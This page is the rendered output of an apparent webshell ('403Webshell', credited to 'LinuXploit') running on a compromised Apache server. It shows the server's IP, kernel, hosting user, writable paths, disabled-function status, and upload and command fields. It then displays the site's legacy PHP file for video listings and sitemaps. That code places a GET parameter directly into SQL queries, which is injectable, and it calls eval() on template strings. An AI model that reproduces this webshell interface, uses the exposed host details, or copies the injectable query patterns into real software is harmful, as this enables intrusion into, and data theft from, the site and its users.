403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/hqflix.com/public_html/t2/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/hqflix.com/public_html/t2/inc/functions.xml.php
<?php
function showVideosXML($templateblock, $perpage)
{
	global $conn, $config, $set, $basedir, $basepath, $extras, $ext_variables, $ext_tplfile;

	$output="";
	$where=array();
	$wherestr="";
	$orderstr="";
	$groupstr=" GROUP BY video.id";
	$limitstr="";
	$join="";
	$repeat=array();
				
	if ($perpage!=""):
 		$start=$set*$perpage;
		$limitstr=" LIMIT ".$start.",".$perpage;
	endif;

	switch ($config["vids_order"]) {
	case "A":
    $orderstr=" ORDER BY video.active";
    break;
	case "Z":
    $orderstr=" ORDER BY video.active DESC";
    break;
	case "R":
    $orderstr=" ORDER BY RAND()";
    break;
	default:
    $orderstr=" ORDER BY video.active DESC";
	}

	if (isset($_GET["xmlorder"])):
		$config["vids_order"]=$_GET["xmlorder"];
	elseif (ereg("#ORDER_([A-Z]{1})#", $templateblock, $regs)):
		$config["vids_order"]=$regs[1];
	endif;
	switch ($config["vids_order"]) {
	case "A":
    $orderstr=" ORDER BY video.active";
    break;
	case "Z":
    $orderstr=" ORDER BY video.active DESC";
    break;
	case "R":
    $orderstr=" ORDER BY RAND()";
    break;
	default:
    $orderstr=" ORDER BY RAND()";
	}
	$start=0;

	$join.=" INNER JOIN video2cat ON video.id = video2cat.video_id";
	$join.=" INNER JOIN category ON video2cat.cat_id = category.id";
	$join.=" INNER JOIN site2cat ON video2cat.cat_id = site2cat.cat_id";
	$join.=" INNER JOIN sites ON site2cat.site_id = sites.id";

/*
	$ext_tplfile["ereg"]["video"]="^[0-9]+\-";
	$ext_tplfile["eval"]["video"]="\$video_id=ereg(\"^([0-9]+)\\-\", \$_GET[\"get1\"], \$regs); \$where[]=\"video.id='\".\$regs[1].\"'\"; \$limitstr=\" LIMIT 1\";";	

	$ext_tplfile["ereg"]["category"]="^[^0-9]+\-?";
	$ext_tplfile["eval"]["category"]="\$where[]=\"category.catlink='\".\$_GET[\"get1\"].\"'\";";	
*/
	if (count($ext_tplfile["ereg"])>0):
		foreach($ext_tplfile["ereg"] as $key => $value) {
			if (ereg($value, $_GET["get1"])):
				if (isset($ext_tplfile["eval"][$key])):
					eval($ext_tplfile["eval"][$key]);
					if (isset($ext_tplfile["break"][$key])):
						break;
					endif;			
				endif;
			endif;
		}
	endif;
	
	if ((isset($_GET["cat"])) AND (trim($_GET["cat"])!="")):
		$where[]="category.catlink='".$_GET["cat"]."'";
	endif;

	$where[]="video.active!=''";
	$where[]="video.active<'".time()."'";
	$where[]="sites.id='".$config["site_id"]."'";

	$where[]="video.id NOT IN (
	SELECT video.id 
	FROM video 
	INNER JOIN video2cat ON video.id = video2cat.video_id 
	INNER JOIN category ON video2cat.cat_id = category.id
	INNER JOIN siteXcat ON video2cat.cat_id = siteXcat.cat_id 
	INNER JOIN sites ON siteXcat.site_id = sites.id  
	WHERE sites.id='".$config["site_id"]."'
	)";

	$wherestr=" WHERE ".implode(" AND ", $where);

	$select=LDB_Exec($conn,"SELECT video.*, sites.ext_desc FROM video ".$join.$wherestr.$groupstr.$orderstr.$limitstr);

	if (LDB_NumRows($select)!=0):
		$tns=array();
		$tns=tns($config["vids_screenshots"]);
		$tncount=count($tns);
		
		for ($i=0; $i<LDB_NumRows($select); $i++) {
			$result=LDB_Fetch_Array($select,$i);
			$line=$templateblock;
			$variables=array();
			$repeat=array();
			$template=array();
			$ext_descriptions=array();
			$ext_descriptions=explode("\n", trim($result["ext_desc"]));
	
			$content_files = Array();
			$contentdir = opendir($config["vids_path"]."/".$result["dir_name"]);
			while (false !== ($files = readdir($contentdir))) {
			   if ((is_file($config["vids_path"]."/".$result["dir_name"]."/".$files)) AND ($files!=".") AND ($files!="..")):
			   	$content_files[] = $files;
			   endif;
			}
			closedir($contentdir);
			sort ($content_files);
			reset ($content_files);
	
			$r=0;
			$variables["#VIDEOSELECT#"]="";
			foreach ($content_files as $file) {
				if (is_file($config["vids_path"]."/".$result["dir_name"]."/".$file)):
					$size=filesize($config["vids_path"]."/".$result["dir_name"]."/".$file);
					$repeat[$r]["#VIDEOSIZE#"]=bytestostring($size);
					$repeat[$r]["#VIDEOEXT#"]=trim(strtolower(strrchr($file, '.')), ".");
					$variables["#VIDEOSELECT#"].="<option value=\"".trim(strtolower(strrchr($file, '.')), ".")."\">".trim(strtolower(strrchr($file, '.')), ".")." - ".bytestostring($size)."</option>\n";
					foreach ($ext_descriptions as $ext_description) {
						if (ereg("^".$repeat[$r]["#VIDEOEXT#"]."\|", $ext_description)):
							$repeat[$r]["#EXTDESCR#"]=str_replace($repeat[$r]["#VIDEOEXT#"]."|", "", $ext_description);
						endif;
					}
					if (trim(strtolower(strrchr($file, '.')), ".")=="wmv"):
						$wmvfile=$file;
					endif;
				else:
					$repeat[$r]["#VIDEOSIZE#"]="";
					$repeat[$r]["#VIDEOEXT#"]="";
					$repeat[$r]["#EXTDESCR#"]="";
				endif;
				$r++;
			}
			if ($variables["#VIDEOSELECT#"]!=""):
				$variables["#VIDEOSELECT#"]="<select name=\"file\">\n".$variables["#VIDEOSELECT#"]."</select>\n";
			endif;

			if (!$wmvfile) $wmvfile=$content_files[0];
			if (is_file($config["vids_path"]."/".$result["dir_name"]."/".$wmvfile)):
				$movie = new ffmpeg_movie($config["vids_path"]."/".$result["dir_name"]."/".$wmvfile, 0);
				$lenght=$movie->getDuration();
				$lenght_mins=floor($lenght/60);
				$lenght_secs=str_pad(ceil($lenght-($lenght_mins*60)), 2, "0", STR_PAD_LEFT);
				$width=$movie->getFrameWidth();
				$height=$movie->getFrameHeight();
				$variables["#VIDEOWIDTH#"]=$width;
				$variables["#VIDEOHEIGHT#"]=$height;
				$variables["#VIDEOLENGHT#"]=$lenght_mins.":".$lenght_secs;
				$variables["#VIDEOFILE#"]=ereg_replace("\.[^\.]+$", "", $wmvfile);
			else:
				$variables["#VIDEOLENGHT#"]="";
				$variables["#VIDEOFILE#"]="";
				$variables["#VIDEOWIDTH#"]="";
				$variables["#VIDEOHEIGHT#"]="";
			endif;

			if (ereg("#FILE_LOOP([0-9]*)#(.+)#END_FILE_LOOP#", $line, $regs)):
			    $loopcount=$regs[1];
					$line=ereg_replace("#FILE_LOOP([0-9]*)#(.+)#END_FILE_LOOP#", "#REPEATFILEBLOCK#", $line);
					$replaceblock="";
					$loop=0;
					foreach($repeat as $key => $value) {
						if (($loopcount=="") OR ($loop<$loopcount)):
							$repeatblock=$regs[2];
							$repeatblock = preg_replace("/#VIDEOSIZE#/", $repeat[$key]["#VIDEOSIZE#"], $repeatblock);
							$repeatblock = preg_replace("/#VIDEOEXT#/", $repeat[$key]["#VIDEOEXT#"], $repeatblock);
							$repeatblock = preg_replace("/#EXTDESCR#/", $repeat[$key]["#EXTDESCR#"], $repeatblock);
							$replaceblock.=$repeatblock;
							$loop++;
						endif;
					}
				$variables["#REPEATFILEBLOCK#"]=$replaceblock;
			endif;
				
			foreach($variables as $variable => $replacement) {
				$line = preg_replace("/".$variable."/", $replacement, $line);
			}
				
			$variables=array();
			if (ereg("#CATLINKS[_]{0,1}([^#]*)#", $line)):
				$variables["#CATLINKS[_]{0,1}([^#]*)#"]="showCats(1, '".$result["id"]."',\$matched[1]);";
				foreach($variables as $variable => $replacement) {
					while (preg_match("/".$variable."/",$line, $matched)):
						$replace=eval("return ".$replacement);
						$line = preg_replace("/".$variable."/", $replace, $line, 1);
					endwhile;
				}
			endif;


			$variables=array();
			$variables["#VIDEOURL#"]=$basedir."/".$result["id"]."-".mklink($result["title"], "-")."/";
			$variables["#VIDEOTITLE#"]=str_replace("&","&amp;",$result["title"]);
			$variables["#VIDEOKEYWORDS#"]=str_replace("&","&amp;",$result["keywords"]);
			$variables["#VIDEODESCRIPTION#"]=nl2br(htmlspecialchars($result["description"], ENT_QUOTES));
			$variables["#VIDEODESC#"]=nl2br(htmlspecialchars(ereg_replace("\n(.*)$","",$result["description"]), ENT_QUOTES));
			$variables["#VIDEOID#"]=$result["id"];
			$variables["#VIDEOLINK#"]=$result["id"]."-".mklink($result["title"], "-");
			$variables["#VIDEOADD#"]=date($config["date_format"], $result["active"]);
			$variables["#VIDEORFC#"]=date("r", $result["active"]);
			$variables["#ORDER_([A-Z]{1})#"]="";
						
			$size=""; $imgnr=1;
			for ($u=1; $u<=$tncount; $u++) {
				if ($size!=$tns[$u]["width"]."x".$tns[$u]["height"]) $imgnr=1;
				if (is_file($config["vids_screenshots_path"]."/".$result["id"]."/".$u.".jpg")):
					$variables["#IMG".$imgnr."x".$tns[$u]["width"]."x".$tns[$u]["height"]."#"]=$config["vids_screenshots_url"]."/".$result["id"]."/".$u.".jpg";
				else:
					$variables["#IMG".$imgnr."x".$tns[$u]["width"]."x".$tns[$u]["height"]."#"]="";
				endif;		
				if (($size!="") AND ($size!=$tns[$u]["width"]."x".$tns[$u]["height"])):
					$previmg=$u-1;
					$randimg=rand(1,$tns[$previmg]["count"]);
					$variables["#IMGx".$tns[$previmg]["width"]."x".$tns[$previmg]["height"]."#"]=$variables["#IMG".$randimg."x".$tns[$previmg]["width"]."x".$tns[$previmg]["height"]."#"];
				endif;
				$size=$tns[$u]["width"]."x".$tns[$u]["height"];
				$imgnr++;
			}
			
			$u--;
			$randimg=rand(1,$tns[$u]["count"]);
			$variables["#IMGx".$tns[$u]["width"]."x".$tns[$u]["height"]."#"]=$variables["#IMG".$randimg."x".$tns[$u]["width"]."x".$tns[$u]["height"]."#"];

			foreach($variables as $variable => $replacement) {
				$replacement=htmlspecialchars($replacement);
				$line = preg_replace("/".$variable."/", $replacement, $line);
			}

			$variables=array();
			if (count($extras)>0):
				foreach ($extras AS $value) {
					if ((isset($ext_variables["video"][$value])) AND (is_array($ext_variables["video"][$value]))):
						foreach ($ext_variables["video"][$value] AS $key => $extvar) {
							$variables[$key]=$extvar;
						}
					endif;		
				}
			endif;
			
			foreach($variables as $variable => $replacement) {
				while (preg_match("/".$variable."/",$line, $matched, $count)):
					$replace=eval("return ".$replacement);
					$line = preg_replace("/".$variable."/", $replace, $line, 1);
				endwhile;
			}

			$output.= $line."\n";
		}
	endif;
	
	if ($output!=""):
		if ($config["charset"]!="utf-8"):
			return @iconv("utf-8", $config["charset"], $output);
		else:
			return $output;
		endif;
	else:
		return false;
	endif;
}

function showSitemapXML($perpage="", $priority="0.8")
{
	global $conn, $config, $basedir, $basepath;

	$domain=StrToLower($_SERVER['HTTP_HOST']);
	$output="";
	$select=LDB_Exec($conn,"SELECT video.id, video.title, video.active FROM video INNER JOIN video2cat ON video.id = video2cat.video_id INNER JOIN category ON video2cat.cat_id = category.id INNER JOIN site2cat ON video2cat.cat_id = site2cat.cat_id WHERE site2cat.site_id='".$config["site_id"]."' AND video.active!='' AND video.active<'".time()."' GROUP BY video.id");

	if ($perpage=="") $perpage=LDB_NumRows($select);
	$pages=(ceil(LDB_NumRows($select)/$perpage))-1;
	if ($pages>0):
		for ($j=1; $j<=$pages; $j++) {
			$output.= "<url>\n";
			$output.= "<loc>http://".$domain.$basedir."/".$j."/</loc>\n";
			$output.= "<lastmod>".date("Y-m-d")."</lastmod>\n";
			$output.= "<changefreq>hourly</changefreq>\n";
			$output.= "<priority>".$priority."</priority>\n";
			$output.= "</url>\n";
			}
	endif;
	if (LDB_NumRows($select)>0):
		for ($i=0; $i<LDB_NumRows($select); $i++) {
			$result=LDB_Fetch_Array($select,$i);
			$output.= "<url>\n";
			$output.= "<loc>http://".$domain.$basedir."/".$result["id"]."-".mklink($result["title"], "-")."/</loc>\n";
			$output.= "<lastmod>".date("Y-m-d", $result["active"])."</lastmod>\n";
			$output.= "<changefreq>hourly</changefreq>\n";
			$output.= "<priority>".($priority-0.1)."</priority>\n";
			$output.= "</url>\n";
		}
	endif;

	if ($output!=""):
		if ($config["charset"]!="utf-8"):
			return @iconv("utf-8", $config["charset"], $output);
		else:
			return $output;
		endif;
	else:
		return false;
	endif;
}

function ret_rfc ($func_time) {
	if (ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})", $func_time, $regs)):
		return date("r", mktime ($regs[4],$regs[5],$regs[6],$regs[2],$regs[3],$regs[1]));
	endif;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit